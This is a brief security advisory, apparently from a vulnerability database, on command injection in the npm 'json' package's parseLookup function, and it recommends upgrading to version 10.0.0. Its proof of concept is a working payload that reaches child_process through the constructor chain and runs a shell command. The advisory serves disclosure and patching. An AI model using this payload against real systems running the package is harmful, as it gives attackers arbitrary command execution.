How to fix?

Upgrade json to version 10.0.0 or higher.

Overview

json is a 'json' command tool for massaging and processing JSON on the command line.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbritary commands using the parseLookup function.

PoC

const json = require('json');

res = json.parseLookup('{[this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()]}'); console.log(res);
